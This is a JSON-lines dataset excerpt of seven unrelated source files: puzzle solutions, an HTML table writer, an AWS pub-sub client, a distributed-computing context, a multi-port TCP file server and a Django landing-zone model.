+{"seq_id":"32443897865","text":"ff = open('input','r')\n\nhighest = 0;\n\nfor line in ff:\n  x = 0;\n  for c in line:\n    if (c == 'B' or c == 'R'):\n      x = (x << 1) + 1  \n    else:\n      x = (x << 1) + 0\n  x = x / 2\n  print(str(line[:-1]) + ' ' + str(x))\n  if (x > highest):\n    highest = x\n\nprint(highest)\n","repo_name":"kufena/AdventOfCode2020","sub_path":"5/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38531324828","text":"from heapq import heappop, heappush\n\n\nclass Solution:\n    def kSmallestPairs(self, nums1: List[int], nums2: List[int], k: int) -> List[List[int]]:\n        if not nums1 or not nums2: return []\n\n        result = []\n\n        l1, l2 = len(nums1), len(nums2)\n\n        q = [(nums1[i] + nums2[0], nums1[i], nums2[0], 0) for i in range(len(nums1))]\n\n        while q and k:\n            t0, t1, t2, t3 = heappop(q)\n            result.append([t1, t2])\n            if t3 < l2 - 1: heappush(q, (t1 + nums2[t3 + 1], t1, nums2[t3 + 1], t3 + 1))\n            k -= 1\n\n        return result\n","repo_name":"CrazySquirrel/Outtalent","sub_path":"Leetcode/373. Find K Pairs with Smallest Sums/solution3.py","file_name":"solution3.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"60"}
+{"seq_id":"5529363884","text":"\"\"\"\nUtilities to visualize document results in html using pandas dataframes\n\nMain entry functon is `write_dataframe_html`\n\nExample::\n\n  search = Search(configfile)\n  df = dsutil.search_dataframe_concepts(\n           search,\n           original_df,\n           text_colname='text',\n           doc_results_colname='Doc Results'\n       ).copy().drop(columns=['text'])\n  df.set_index('Key', inplace=True)\n  writer = HTMLWriter()\n  with open('temp-results-table.html', 'w') as ofp:\n      dsutil.write_dataframe_html(df, writer, ofp)\n\n\"\"\"\n\nimport html\nfrom io import StringIO\nfrom typing import Optional\n\nHTML_HEAD_CODE_START = \"\"\"<!doctype html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"utf-8\">\n\"\"\"\n\nCSS_CODE = \"\"\"<style>\n.styled-table {\n    border-collapse: collapse;\n    margin: 25px 0;\n    font-size: 0.9em;\n    font-family: sans-serif;\n    min-width: 400px;\n    box-shadow: 0 0 20px rgba(0, 0, 0, 0.15);\n}\n.styled-table thead tr {\n    background-color: #0288d1;\n    color: #ffffff;\n    text-align: left;\n}\n.styled-table th,\n.styled-table td {\n    padding: 7px 10px;\n}\n.styled-table tbody tr {\n    border-bottom: 1px solid #dddddd;\n}\n\n.styled-table tbody tr:nth-of-type(odd) {\n    background-color: #f3f3f3;\n}\n\n.styled-table tbody tr:last-of-type {\n    border-bottom: 2px solid #0288d1;\n}\n\n.visibility_button {\n  border: none;\n}\n</style>\n\"\"\"\n\nJAVASCRIPT_CODE = \"\"\"\n<script type=\"text/javascript\">\n<!--\n    function toggle_visibility(id) {\n       var e = document.getElementById(id);\n       if(e.style.visibility == 'visible')\n          e.style.visibility = 'collapse';\n       else\n          e.style.visibility = 'visible';\n       return false;\n    }\n//-->\n</script>\n\"\"\"\n\nHTML_HEAD_CODE_END = \"\"\"\n</head>\n\n<body>\n\"\"\"\n\nHTML_BODY_END = \"\"\"\n</body>\n</html>\n\"\"\"\n\n\ndef write_table_row(arr, style: str = \"\", index_in_first_column: bool = True) -> str:\n    \"\"\"\n    Write row of html table.\n\n    Args:\n      arr: numpy.array: Array of values for the row\n      style: str: CSS style for row (Default value = \"\")\n      index_in_first_column: bool: if True, then use index in the first column to create a visibility button for text details (Default value = True)\n\n    Returns:\n      str: HTML for the row (with escaped content)\n    \"\"\"\n    if style:\n        result = f'<tr style=\"{style}\"><td>'\n    else:\n        result = f\"<tr><td>\"\n    if index_in_first_column:\n        # result += f'<a href=\"#\" onclick=\"toggle_visibility(\\'i{arr[0]}\\');\">+</a></td><td>'\n        result += f'<button type=\"button\" class=\"visibility_button\" onclick=\"toggle_visibility(\\'i{arr[0]}\\');\"><u>+</u></button></td><td>'\n        result += f\"</td><td>\".join(map(html.escape, arr[1:].astype(str)))\n    else:\n        result += f\"</td><td>\".join(map(html.escape, arr.astype(str)))\n    result += f\"</td></tr>\"\n    return result\n\n\ndef write_table_head(\n    arr,\n    rowtag: str = \"tr\",\n    style: str = \"\",\n    coltag: str = \"th\",\n    insert_first_col: str = \"+\",\n) -> str:\n    \"\"\"\n    Write head of html table.\n\n    Args:\n      arr: numpy.array: Array of values for the row\n      rowtag: str:  (Default value = \"tr\")\n      style: str: CSS style for the row (Default value = \"\")\n      coltag: str:  (Default value = \"th\")\n      insert_first_col: str: String to insert for the first column, if not empty (Default value = \"+\")\n\n    Returns:\n      str: HTML for the head row (with escaped content)\n    \"\"\"\n    if style:\n        style = f' style=\"{style}\"'\n    result = f\"<thead><{rowtag}{style}><{coltag}>\"\n    if insert_first_col:\n        result += f\"{insert_first_col}</{coltag}><{coltag}>\"\n    result += f\"</{coltag}><{coltag}>\".join(map(html.escape, arr.astype(str)))\n    result += f\"</{coltag}></{rowtag}></thead>\\n\"\n    return result\n\n\ndef write_doc_row(arr) -> str:\n    \"\"\"\n    Write row of document dataframe table\n\n    Args:\n      arr: numpy.array: Array of values for the row\n\n      Note: In arr, index must be in first column; html for the text details must be in last column,\n\n    Returns:\n      str: HTML for the document row (with escaped content)\n    \"\"\"\n    #\n    # rowtag = '<tr>'\n    rowtag = f'<tr id=\"i{arr[0]}\" style=\"visibility:collapse\">'\n    # rowtag = '<tr style=\"visibility:collapse\">'\n    celltag = f'<td></td><td colspan=\"{len(arr)-2}\" style=\"text-align: left\">'\n    return write_table_row(arr[:-1]) + f\"\\n{rowtag}{celltag}\\n\" + arr[-1] + \"</td></tr>\"\n\n\ndef write_doc_table(df, stream=None) -> Optional[str]:\n    \"\"\"\n    Write document dataframe table as html\n\n    Dataframe has first column index, last column html for text details, and interleaving values to display in table\n\n    Args:\n      df: pandas.DataFrame: Dataframe to write\n      stream: If None, create String stream and return its value, else write to stream (Default value = None)\n\n    Returns:\n      str | None: If stream is None, return string value, else function just writes to stream\n    \"\"\"\n    if stream is None:\n        stream = StringIO()\n        return_string = True\n    else:\n        return_string = False\n    stream.write(HTML_HEAD_CODE_START)\n    stream.write(CSS_CODE)\n    stream.write(JAVASCRIPT_CODE)\n    stream.write(HTML_HEAD_CODE_END)\n    stream.write('<table class=\"styled-table\">\\n')\n    stream.write(write_table_head(df.columns[1:-1], style=\"text-align: left\"))\n    stream.write(\"<tbody>\")\n    stream.write(\"\\n\".join(df.apply(write_doc_row, axis=1, raw=True).values))\n    stream.write(\"</tbody></table>\\n\")\n    stream.write(HTML_BODY_END)\n    if return_string:\n        return stream.getvalue()\n\n\ndef write_dataframe_html(\n    dataframe, writer, stream=None, doc_results_colname=\"Doc Results\"\n) -> Optional[str]:\n    \"\"\"\n    Write dataframe to html as interspersed data row and text results row.\n\n    Must have a column with DocResult(s), which will be formatted to html.\n    Doc results can be a list, whose html will be concatenated.\n    (If no DocResults, then pandas.DataFrame.to_html() should be used.)\n\n    Args:\n      dataframe: pandas.DataFrame: Dataframe to write\n      writer: search.writer.HTMLWriter: Writer to format DocResult to html\n      stream: If None, create String stream and return its value, else write to stream (Default value = None)\n      doc_results_colname: Name of the column in the dataframe with a DocResult (or list of DocResult) (Default value = \"Doc Results\")\n\n    Returns:\n       str | None: If stream is None, return string value, else function just writes to stream\n    \"\"\"\n    if stream is None:\n        stream = StringIO()\n        return_string = True\n    else:\n        return_string = False\n    dataframe[\"doc_result_html\"] = dataframe[doc_results_colname].apply(\n        lambda x: writer.get_doc_result_html(x)\n        if not isinstance(x, list)\n        else \"\\n\".join(writer.get_doc_result_html(d) for d in x)\n    )\n    write_doc_table(dataframe.drop(columns=[doc_results_colname]).reset_index(), stream)\n    if return_string:\n        return stream.getvalue()\n","repo_name":"markgraves/leat","sub_path":"leat/dsutil/html_results_table.py","file_name":"html_results_table.py","file_ext":"py","file_size_in_byte":6868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7518589138","text":"import json\nfrom dataclasses import dataclass, field\nfrom time import sleep\nfrom typing import Any, Dict, List, Optional, Tuple\n\nimport arrow\nfrom loguru import logger\n\nfrom subdivisions.base import AWSClientMixin, SubDivisions\nfrom subdivisions.builders.events import SubDivisionsEventsBuilder\nfrom subdivisions.builders.sns import SubDivisionsSNSBuilder\nfrom subdivisions.builders.sqs import SubDivisionsSQSBuilder\nfrom subdivisions.config import sub_config\nfrom subdivisions.exceptions import PubSubException\n\n\n@dataclass\nclass SubClient(SubDivisions, AWSClientMixin):\n    _event_name: Optional[str] = None\n    received_handlers: Optional[List[Tuple[str, str]]] = field(default_factory=list)\n\n    @property\n    def event_name(self):\n        return SubDivisionsEventsBuilder(topic=self.topic).event_name\n\n    def _prepare_subscribe(self):\n        events_builder = SubDivisionsEventsBuilder(topic=self.topic)\n        # 1. If Topic exists, proceed\n        if not events_builder.topic_exists():\n            # 2. Raise and suggest best match if found\n            if events_builder.similar_topic_exists():\n                raise PubSubException(\n                    f\"Topic '{self.event_name}' not found. \"\n                    f\"Did you mean '{events_builder.best_match}'?\"\n                )\n            raise PubSubException(f\"Topic '{self.event_name}' not found.\")\n\n        # 2. If queue does not exist, create it\n        sqs_builder = SubDivisionsSQSBuilder(topic=self.topic)\n        if not sqs_builder.queue_exists():\n            # Create SQS Queue with encryption and dead_letter\n\n            dead_letter_queue_arn = sqs_builder.create_queue(\n                is_dead_letter=True\n            ).queue_arn\n            topic_queue_arn = sqs_builder.create_queue(\n                dead_letter_arn=dead_letter_queue_arn\n            ).queue_arn\n\n            # Subscribe Queue with SNS\n            sns_builder = SubDivisionsSNSBuilder(topic=self.topic)\n            sns_builder.create_sns_topic()\n            sns_builder.subscribe_sns_topic(topic_queue_arn)\n\n            self.wait_for_queue_ready()\n\n    def wait_for_queue_ready(self):\n        # Wait until new SQS Queue is available. (aprox. 30 seconds)\n        tentative = 1\n        while tentative < 11:\n            try:\n                logger.debug(f\"Attempting {tentative} to reach new SQS queue...\")\n                sqs_builder = SubDivisionsSQSBuilder(topic=self.topic)\n                queue_url = sqs_builder.get_queue().queue_url\n                logger.info(f\"New SQS queue is available. Queue urls is: {queue_url}\")\n                break\n            except PubSubException:\n                tentative += 1\n                sleep(5)\n\n    def _create_topic(self):\n        # 2. Create SNS Topic\n        sns_builder = SubDivisionsSNSBuilder(topic=self.topic)\n        topic_sns_arn = sns_builder.create_sns_topic().sns_arn\n\n        # Create/Update Eventbridge Rule\n        events_builder = SubDivisionsEventsBuilder(topic=self.topic)\n        events_builder.put_rule()\n        events_builder.put_target(topic_sns_arn)\n\n    def _prepare_send_message(self):\n        # 1. If Topic exists, send message\n        events_builder = SubDivisionsEventsBuilder(topic=self.topic)\n        if events_builder.topic_exists():\n            return\n        # 2. If not exists, check for similar. If exists raise and suggest best match\n        if events_builder.similar_topic_exists():\n            raise PubSubException(\n                f\"Topic '{self.event_name}' not found. \"\n                f\"Did you mean '{events_builder.best_match}'?\"\n            )\n\n        # 3. If not exists and we dont find similar,\n        # and auto-create are forbidden, raise error\n        if not sub_config.auto_create_new_topic:\n            raise PubSubException(\n                f\"Topic '{self.event_name}' not found. Auto creation not allowed.\"\n            )\n\n        # 4. Create new Topic\n        self._create_topic()\n\n    def send(self, message: Dict[Any, Any]):\n        \"\"\"Send new message for Eventbridge.\n\n        This command will send the message to the topic selected.\n        You must define a topic before send this command::\n\n            .. code-block:: python\n                client = SubClient()\n                client = UserEvents.USER_LOGGED_IN\n\n        Message Format\n        ==============\n\n            The message will be sent with the following format::\n\n                .. code-block:: json\n                    {\n                        \"DetailType\": self.topic,\n                        \"Source\": sub_config.source_name,\n                        \"Detail\": {\n                            \"event\": <Topic Event>,\n                            \"datetime\": <Current ISO Datetime>,\n                            \"payload\": <Your Message>\n                        }\n                    }\n\n        Sending Message for the First Time\n        ==================================\n\n            First, we will check if Eventbridge,\n            has a rule for this topic. For example,\n            for topic USER_REGISTERED, we will look for A55UserRegistered\n            rule. If it does not exist, we will create it automatically,\n            before send the message.\n\n        Matching Rules\n        ==============\n\n            This payload will be send to AWS Eventbridge,\n            which will try to match the payload events\n            looking for the fields \"DetailType\"\n            and \"Detail\".\"event\". That rule will redirect the\n            message to his correspondent SNS Topic, as per\n            Eventbridge Destinations configuration.\n\n        :param message: A python dictionary, for the message\n        :returns: None\n        \"\"\"\n\n        if not isinstance(message, dict):\n            raise ValueError(\"PubSub Message must be a dictionary\")\n\n        if not self.topic:\n            raise ValueError(\"You must define a topic before send messages\")\n\n        try:\n            self._prepare_send_message()\n\n            logger.info(f\"Send message for topic: {self.topic}...\")\n\n            payload = {\n                \"event\": self.topic,\n                \"datetime\": arrow.utcnow().isoformat(),\n                \"payload\": message,\n            }\n\n            logger.debug(\n                f\"Source is: {sub_config.source_name}. \"\n                f\"Detail Type is: {self.topic}. Message is: {payload}\"\n            )\n            response = self.get_client(\"events\").put_events(\n                Entries=[\n                    {\n                        \"DetailType\": self.topic,\n                        \"Source\": sub_config.source_name,\n                        \"Detail\": json.dumps(payload),\n                    }\n                ]\n            )\n            logger.debug(f\"Send message response: {response}\")\n\n            if response[\"FailedEntryCount\"] > 0:\n                raise PubSubException(\"Cannot send message.\")\n            logger.info(f\"Message send successfully for topic: {self.topic}\")\n        except Exception as error:\n            logger.error(error)\n            raise PubSubException() from error\n\n    def get_messages(self, from_dead_letter: bool = False, auto_remove: bool = False):\n        \"\"\"Get Messages for selected Topic.\n\n        This command will receive all messages available to the topic selected.\n        You must define a topic before send this command::\n\n            .. code-block:: python\n                client = SubClient()\n                client = UserEvents.USER_LOGGED_IN\n\n        Message Format\n        ==============\n\n            The AWS SQS will send to us all availables messages\n            with the following format::\n\n                .. code-block:: json\n                    {\n                        \"Messages: [\n                            \"Body: {\n                                \"Message\": {\n                                    \"event\": <Topic Event>,\n                                    \"datetime\": <Current ISO Datetime>,\n                                    \"payload\": <Your Message>\n                                }\n                            }\n                        ]\n                    }\n\n            Subdivisions will get the \"Body\" from each messages\n            and return to you only the \"payload\" data.\n\n        Receiving Messages for the First Time\n        =====================================\n\n            First, we will check in SQS if the SNS\n            corresponding Topic Signature exists. For example,\n            for topic USER_REGISTERED, we will look for `a55_<source_name>_<topic>`\n            signature. If it does not exist, we will create it automatically,\n            before receive messages.\n\n            Note the first time you running the `get_messages` command, no SQS queues\n            exist. Any message already send to this Topic are lost (because none\n            of them was transmitted to the new signature queues).\n            All messages sent before create the SQS queues, must be send again.\n\n        :param from_dead_letter: Receive from topic's dead letter queue\n        :param auto_remove: Remove messages after receiving them.\n        :return: None\n        \"\"\"\n        try:\n            self._prepare_subscribe()\n\n            sqs_builder = SubDivisionsSQSBuilder(topic=self.topic)\n            queue_url = sqs_builder.get_queue(\n                from_dead_letter=from_dead_letter\n            ).queue_url\n\n            message_list = []\n            while True:\n                response = self.get_client(\"sqs\").receive_message(\n                    QueueUrl=queue_url, MaxNumberOfMessages=10\n                )\n                if not response.get(\"Messages\"):\n                    break\n\n                message_list += [\n                    json.loads(json.loads(message[\"Body\"])[\"Message\"])\n                    for message in response[\"Messages\"]\n                ]\n                self.received_handlers += [\n                    (queue_url, message[\"ReceiptHandle\"])\n                    for message in response[\"Messages\"]\n                ]\n\n            logger.info(\n                f\"Received {len(message_list)} message(s) \"\n                f\"from queue: {sqs_builder.queue_name}.\"\n            )\n\n            if (sub_config.auto_remove_from_queue or auto_remove) and len(\n                self.received_handlers\n            ) > 0:\n                self.delete_received_messages()\n            else:\n                logger.debug(\n                    f\"Received {len(message_list)} message(s) \"\n                    f\"are still in queue: {sqs_builder.queue_name}.\"\n                )\n\n            return message_list\n        except Exception as error:\n            logger.error(error)\n            raise PubSubException() from error\n\n    def delete_received_messages(self):\n        for queue_url, receipt_handle in self.received_handlers:\n            self.get_client(\"sqs\").delete_message(\n                QueueUrl=queue_url, ReceiptHandle=receipt_handle\n            )\n        queue_name = SubDivisionsSQSBuilder(topic=self.topic).get_queue()\n        logger.info(\n            f\"Removed {len(self.received_handlers)} \"\n            f\"message(s) from queue: {queue_name}.\"\n        )\n        self.received_handlers = []\n","repo_name":"chrismaille/subdivisions","sub_path":"subdivisions/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":11112,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"32130905539","text":"\nimport dill\n\nfrom examples.python.distributed import config, core, core_pb2, ppu_device, py_device\n\n\nclass Context:\n    def __init__(self, zconf: core_pb2.WorldDesc):\n        config.validate_config(zconf)\n        self.zconf = zconf\n        self.devices: [core.DeviceClient] = []\n        self._host_node_id = \"\"\n\n        for ddesc in zconf.devices:\n            if ddesc.kind == core_pb2.DeviceKind.PYRT:\n                node = config.find_node(zconf, ddesc.py_device.node_id)\n                dev = py_device.PyDeviceClient(self, ddesc.rank, node.addr)\n            elif ddesc.kind == core_pb2.DeviceKind.PPU:\n                assert len(ddesc.ppu_device.node_ids) >= 1\n                node_addrs = [\n                    config.find_node(zconf, node_id).addr\n                    for node_id in ddesc.ppu_device.node_ids\n                ]\n                dev = ppu_device.PpuDeviceClient(self, ddesc.rank, node_addrs,\n                                                 ddesc)\n            else:\n                raise ValueError(\"unsupported device kind={}\", ddesc.kind)\n            self.devices.append(dev)\n\n    def get_dev(self, zrank: int) -> core.DeviceClient:\n        matches = [dev for dev in self.devices if dev.zrank == zrank]\n        if len(matches) != 1:\n            raise ValueError(\"more than 1 ({}) found\".format(len(matches)))\n        return matches[0]\n\n    def host_node_id(self):\n        return self._host_node_id\n\n\nclass WorkerContext(Context):\n    def __init__(self, zconf: core_pb2.WorldDesc, host_node_id):\n        super().__init__(zconf)\n        self._host_node_id = host_node_id\n\n\nclass DriverContext(Context):\n    def __init__(self, zconf: core_pb2.WorldDesc):\n        super().__init__(zconf)\n        self._uuid = 0\n\n    def new_name(self):\n        self._uuid = self._uuid + 1\n        return \"V{}\".format(self._uuid)\n\n    def transfer(self, obj, dst_rank: int) -> core.DeviceObject:\n        if not isinstance(obj, core.DeviceObject):\n            nname = self.new_name()\n            return self.get_dev(dst_rank).put(obj, nname)\n\n        if obj.zrank == dst_rank:\n            # already resides on this device.\n            return obj\n\n        src_dev = self.get_dev(obj.zrank)\n        dst_dev = self.get_dev(dst_rank)\n\n        # FIXME(jint) dont use internal methods like zsymbols & _submit\n        if src_dev.kind() == core_pb2.DeviceKind.PYRT:\n            # source device is a PYRT, ask it to put.\n            def wrapper(server, dname, drank, obj):\n                src_obj = server.zsymbols[obj.zname]\n                dev = server.zctx.get_dev(drank)\n                # fetch the object within server's context\n                dev.put(src_obj, dname)\n\n            dname = self.new_name()\n            routine = dill.dumps((wrapper, [dname, dst_rank, obj], {}),\n                                 recurse=True)\n            src_dev._submit(routine, \"PY-TRANS:{}\".format(dname))\n            return core.DeviceObject(dst_rank, dname)\n        elif dst_dev.kind() == core_pb2.DeviceKind.PYRT:\n            # dest device is PYRT, ask it to get.\n            def wrapper(server, dname, obj):\n                dev = server.zctx.get_dev(obj.zrank)\n                # fetch the object within server's context\n                server.zsymbols[dname] = dev.get(obj)\n\n            dname = self.new_name()\n            routine = dill.dumps((wrapper, [dname, obj], {}), recurse=True)\n            dst_dev._submit(routine, \"PY-TRANS:{}\".format(dname))\n            return core.DeviceObject(dst_rank, dname)\n        else:\n            raise RuntimeError(\"transfer from {} to {} not supported\".format(\n                src_dev.kind(), dst_dev.kind()))\n\n    def get_py_dev_rank_from_node(self, node_id: str):\n        for ddesc in self.zconf.devices:\n            if (ddesc.kind == core_pb2.DeviceKind.PYRT\n                    and ddesc.py_device.node_id == node_id):\n                return ddesc.rank\n        return None\n","repo_name":"peiji1981/ppu","sub_path":"examples/python/distributed/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8554048218","text":"import socket\nimport os\nimport time\nimport argparse\nimport threading\n\nFORMAT = 'utf-8' # Format in which a file is encoded. This format works for .txt, .mp4 file extensions.\nSIZE = 1024 # The size of the packets sent over the TCP conneciton, could be smaller, if the router fragments it based on some other smaller MTU.\nPORTS_AVAILABLE = [4455, 4456, 4457, 4458, 4459, 4460] # Total ports availble to the server for listening clients. Each port number paired with the machine's IP gives a separate server.\n\npackets = 20\n\ndef log(logtype, message):\n    \"\"\"\n    Prints out a log message on screen.\n    logtype: type of the message i.e. connection, activation, disconnection etc.\n    message: the message to be shown on log.\n    \"\"\"\n\n    LOG_TYPES = ['[STARTING]', '[ACTIVE]', '[CONNECTED]', '[DISCONNECTED]', '[SENT]', '[ERROR]' ,'[INFO]'] # Statuses\n    print(LOG_TYPES[logtype] + '\\t' + message)\n\ndef fragment(string, parts):\n    \"\"\"Divides the input string of bytes into \"parts\" parts.\n    string: The byte string to be divided\n    parts: Number of parts in which the string is to be divided\n    \"\"\"\n    k, m = divmod(len(string), parts)\n    return (string[i * k + min(i, m):(i + 1) * k + min(i + 1, m)] for i in range(parts))\n\ndef makeserver(status, servernumber):\n    \"\"\"\n    Create the server.\n    servernumber: based on the number of servers created (0, 1, 2, ...) increases linearly\n    \"\"\"\n\n    # IP = '10.7.81.13' # The IP of the server machine\n    # IP = socket.gethostbyname(socket.gethostname()) # For file transfer on a local machine.\n    IP = '10.7.49.208' # For file transfer over the internet. Use your device's IP here. Use 'ipconfig' in command prompt for more details on your IP.\n    PORT = PORTS_AVAILABLE[servernumber]\n\n    ADDR = (IP,PORT)\n\n    global server_sockets\n    server_sockets = []\n\n    log(0, f'Server {servernumber} is starting.')\n    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # AF_INET for IPv4, SOCK-STREAM for TCP socket, use SOCK_DGRAM for UDP socket.\n    server_sockets.append(server) # Append the server socket just made into the array of server sockets.\n    \n\n    server_sockets[servernumber].bind(ADDR)\n    server_sockets[servernumber].listen()\n    log(1, f\"Server {servernumber} is active.\")\n\n    while True:\n        conn, addr = server_sockets[servernumber].accept()\n        log(2, f\"{addr} connected.\")\n\n        ## Sending file(mp4) to the client\n        \n        # Getting information of the file to be sent\n        file_name = file_location\n        file_size = os.path.getsize(file_name)\n\n        # Send the file details to the client\n        with open(file_name, \"rb\") as file:\n            # conn.send(file_name.encode(FORMAT))\n            conn.send(str(file_size).encode(FORMAT))\n\n            data = file.read(file_size)\n            \n            s = (int(conn.recv(1024))) # Receive the segment number to send from a particular server.\n\n            segments_gen = fragment(data, totalservers) # Fragment the data into available servers.\n            segments = [] # Array that contains data to be sent from each server, based on index (0 index has the data to be sent by server 0 and so on).\n            for k in segments_gen: # Injection of the data into the segements[] array\n                segments.append(k)\n\n            sub_segments_gen = fragment(segments[s], packets) # Divide the segments further into about 20 packets.\n            sub_segments = [] # Array that contains subsegments (parts of segment) for every serever (separate array for every server).\n            for k in sub_segments_gen:\n                sub_segments.append(k)\n            seg_num = str(s).encode()\n            conn.send(seg_num) # Sending the segment number requested by client.\n\n            for i in range(packets): # Sending the subsegments to the client.\n                conn.sendall(sub_segments[i])\n\n        conn.close()\n        log(3, f\"{addr} has disconnected.\")\n    \ndef closeserver(closestring):\n    \"\"\"\n    Closes the server according to the command in closestring.\n    closestring: the string that initiates server closing process. like 'k0' for server 0\n    \"\"\"\n    server_status[int(closestring[1:2])] = False # For instance [True, True, True] --> [False, True, True] for 'kli 0'\n    server_sockets[int(closestring[1:2])].close() # For instance [active, active, active] --> [inactive, active, active] for 'kil 0'\n\ndef main(status, servercount):\n    for servernumber in range(servercount):\n        serverthread = threading.Thread(target=makeserver, args=(status, servernumber))\n        serverthread.start()\n\ndef refresh():\n    \"\"\"\n    Refreshes the status of server\n    \"\"\"\n    while True:\n        time.sleep(interval)\n        clrscr()\n        for i in range(totalservers):\n            print(\n                log(6, f\"Server {i}\\tPort: {PORTS_AVAILABLE[i]} Status: {server_status[i]}, to shutdwon server {i}, type 'k{i}' \"))\n\ndef clrscr():\n    \"\"\"\n    Clear Console Screen\n    \"\"\"\n    os.system('cls' if os.name == 'nt' else 'clear')\n\nparser = argparse.ArgumentParser()\n\n# adding parameters\nparser.add_argument('-i', '--status_interval', help=\"Time interval in seconds between server status reporting.\", type=int, default=2)\nparser.add_argument('-n', '--num_servers', help=\"Total number of virtual servers.\", type=int)\nparser.add_argument('-f', '--file_location', help=\"Address pointing to the file location.\", default=\"to_be_sent.mp4\")\nparser.add_argument('-p', '--list_of_ports', nargs='+',\n                    help=\"List of port numbers(‘n’ port numbers, one for each server).\", type=int, metavar=\"port_list\", default=PORTS_AVAILABLE)\nargs = parser.parse_args()\n\ninterval = args.status_interval # Time interval between refreshes (seconds).\ntotalservers = args.num_servers # Total number of the servers.\nfile_location = args.file_location # Location of the file to be sent.\nPORTS_AVAILABLE = args.list_of_ports # Changes the list of ports to the list of ports assigned by the user.\nserver_status = [True] * totalservers # Defines an array of boolean values, where true means the server is running.\nserver_threads = []\n\nfor portnumber in PORTS_AVAILABLE:\n    if portnumber < 1024:\n        log(5, 'Invalid port number.')\n        exit()\n\nif __name__ == '__main__':\n    main(server_status, totalservers)\n\noutputThread = threading.Thread(target=refresh)\noutputThread.start()\nwhile True:\n    command = input()\n    closeserver(command)\n    print(command) ","repo_name":"TaimoorIkram/multi-server-file-downloader","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21283068963","text":"import uuid\n\nfrom django.conf import settings\nfrom django.db import models\n\n# Projectroles dependency\nfrom projectroles.models import Project\n\n# Samplesheets dependency\nfrom samplesheets.models import Assay\n\nimport landingzones.constants as lc\n\n# Access Django user model\nAUTH_USER_MODEL = getattr(settings, 'AUTH_USER_MODEL', 'auth.User')\n\n\nclass LandingZone(models.Model):\n    \"\"\"Class representing an user's iRODS landing zone for an assay\"\"\"\n\n    #: Title of the landing zone\n    title = models.CharField(\n        max_length=255, unique=False, help_text='Title of the landing zone'\n    )\n\n    #: Project in which the landing zone belongs\n    project = models.ForeignKey(\n        Project,\n        related_name='landing_zones',\n        help_text='Project in which the landing zone belongs',\n        on_delete=models.CASCADE,\n    )\n\n    #: User who owns the landing zone\n    user = models.ForeignKey(\n        AUTH_USER_MODEL,\n        related_name='landing_zones',\n        help_text='User who owns the landing zone',\n        on_delete=models.CASCADE,\n    )\n\n    #: Assay for which the landing zone belongs\n    assay = models.ForeignKey(\n        Assay,\n        related_name='landing_zones',\n        help_text='Assay for which the landing zone belongs',\n        on_delete=models.CASCADE,\n    )\n\n    #: Status of landing zone\n    status = models.CharField(\n        max_length=64,\n        null=False,\n        blank=False,\n        default=lc.ZONE_STATUS_CREATING,\n        help_text='Status of landing zone',\n    )\n\n    #: Additional status information\n    status_info = models.CharField(\n        max_length=1024,\n        null=True,\n        blank=True,\n        default=lc.DEFAULT_STATUS_INFO[lc.ZONE_STATUS_CREATING],\n        help_text='Additional status information',\n    )\n\n    #: DateTime of last folder modification\n    date_modified = models.DateTimeField(\n        auto_now=True, help_text='DateTime of last landing zone modification'\n    )\n\n    #: Landing zone description (optional)\n    description = models.TextField(\n        unique=False,\n        blank=True,\n        help_text='Landing zone description (optional)',\n    )\n\n    #: Message displayed to project members on zone move (optional)\n    user_message = models.CharField(\n        max_length=1024,\n        unique=False,\n        blank=True,\n        help_text='Message displayed to project members on successful zone '\n        'moving if member notifications are enabled (optional)',\n    )\n\n    #: Special configuration\n    configuration = models.CharField(\n        max_length=64,\n        unique=False,\n        blank=True,\n        null=True,\n        help_text='Special configuration (optional, leave blank for a '\n        'standard landing zone)',\n    )\n\n    #: Configuration data (for storing plugin-specific settings)\n    config_data = models.JSONField(\n        default=dict,\n        help_text='Configuration data (for storing plugin-specific settings)',\n    )\n\n    #: Landing zone SODAR UUID\n    sodar_uuid = models.UUIDField(\n        default=uuid.uuid4, unique=True, help_text='Landing zone SODAR UUID'\n    )\n\n    class Meta:\n        ordering = ['project', 'assay__file_name', 'title']\n        # Ensure name is unique within project and user\n        unique_together = ('title', 'project', 'user')\n\n    def __str__(self):\n        return '{}: {}/{}'.format(\n            self.project.title, self.user.username, self.title\n        )\n\n    def __repr__(self):\n        values = (self.project.title, self.user.username, self.title)\n        return 'LandingZone({})'.format(', '.join(repr(v) for v in values))\n\n    # Custom row-level functions\n\n    def get_project(self):\n        \"\"\"Get project in cases where multiple object types may be included\"\"\"\n        return self.project\n\n    def set_status(self, status, status_info=None):\n        \"\"\"Set zone status\"\"\"\n        if status not in lc.ZONE_STATUS_TYPES:\n            raise TypeError('Unknown status \"{}\"'.format(status))\n        self.status = status\n        if status_info:\n            self.status_info = status_info\n        else:\n            self.status_info = lc.DEFAULT_STATUS_INFO[status][:1024]\n        self.save()\n\n    def is_locked(self):\n        \"\"\"\n        Return True/False depending whether write access to zone is currently\n        locked.\n        \"\"\"\n        return self.status in lc.STATUS_LOCKING\n\n    def can_display_files(self):\n        \"\"\"\n        Return True/False depending whether file info should be displayed.\n        \"\"\"\n        return self.status in lc.STATUS_DISPLAY_FILES\n","repo_name":"bihealth/sodar-server","sub_path":"landingzones/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4503,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"}
